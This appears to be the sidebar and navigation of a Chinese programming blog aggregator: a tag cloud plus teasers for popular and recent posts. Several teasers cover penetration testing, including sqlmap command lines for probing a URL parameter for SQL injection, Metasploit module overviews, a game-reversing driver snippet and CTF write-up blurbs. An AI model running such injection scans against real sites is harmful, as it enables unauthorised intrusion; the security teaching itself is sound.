上一篇:Pots(POJ - 3414)【BFS 尋找最短路+路徑輸出】

下一篇:計算機網路之第1章 概念

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more